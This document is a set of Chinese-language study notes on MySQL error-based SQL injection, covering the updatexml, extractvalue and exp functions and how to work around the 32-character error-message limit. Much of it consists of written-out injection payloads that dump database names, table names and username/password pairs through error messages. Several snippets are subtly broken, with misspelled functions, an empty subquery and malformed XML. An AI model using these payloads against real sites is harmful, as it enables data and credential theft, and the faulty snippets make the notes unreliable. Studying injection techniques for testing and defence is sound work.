一、union查询注入不使用的地方
1、注入语句无法截断,且不清楚完整的SQL查询语句;
2、页面不能返回查询信息的时候;
3、web页面中有两个SQL查询语句,查询语句的列数不同
二、关于MySQL处理XML
1、先准备以下XML文件内容
<class id="wnCDCo85">
<student sequence="1">
<id>wncd20171215</id>
</class>
三、报错注入
当union select 出现不使用的情形下,我们通常使用报错来进行注入。
报错注入的原理就是通过构造特殊的报错语句,使用MySQL数据库报错,
使我们查看内容显示在报错信息中,同时把报错信息显示在页面上。
通常的报错函数有updateXML(),extractvalue(),floor()等等。
大致报错的原理就是利用输入字符串逻辑上的冲突造成报错。
1 and updatexml(1,concat(0x7e,database(),0x7e),1) 1 and updateexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.table where table_schema='learn'),0x7e),1)
这儿的group_concat是将报错的表名连接起来
补充:
?id=1' and select (select 1 from (select ))--+
使用exp报错
exp() 求e的n次方,exp(~(select 1))
extractvalue
updatexml
同属于xpath函数
特点:报错的内容只显示32位,如果想要都显示出来则可以
使用subsstr()函数,采用截取来获取每一个用户的值。
?id=1' and updatexml(1,concat('-',(substr((select group_concat(username,password) from users),32,31))),1)--+
|--------------------------|-----------|
| 函数 | 含义 |
| extractvalue(文件名,文件路径) | |
| updatexml(文件名,文件路径,更新内容) | 对文件内容进行更新 |
updatexml(1,concat(-,database()),1)
在'-数据库名',无1这个文件